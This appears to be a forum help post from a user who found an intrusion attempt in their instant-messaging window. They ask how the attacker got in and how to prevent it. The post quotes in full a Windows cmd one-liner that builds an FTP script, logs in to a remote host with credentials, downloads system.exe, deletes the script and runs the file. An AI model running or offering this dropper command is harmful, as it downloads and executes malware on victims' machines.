While I was at work today, I had a IM window open. And my computer started talking to the person I was before I went to work. It seems to be a command prompt opening up a file on a remote computer, running it on my computer, then deleting itself.
I took out the IP address that it had in it. However, This is the code:
cmd /c echo open ***.***.**.* 21 >> ik &echo user hycsju hyc7186 >> ik &echo binary >> ik &echo get system.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &system.exe &exit
echo You got owned
I think it is a scriptkiddie trying to put a virus on my computer, but instead failed and typed the command line into my IM window. I've looked at the IP address in the code, and it is a real one. I pinged it and everything. It seems to be from Phoenix AZ. The syntax is correct, and no one in my family/city is smart enough to figure any of this out.
My questions I have are:
1. How does someone even get into my computer to type all of this?
2. What can I do to prevent this from happening again?
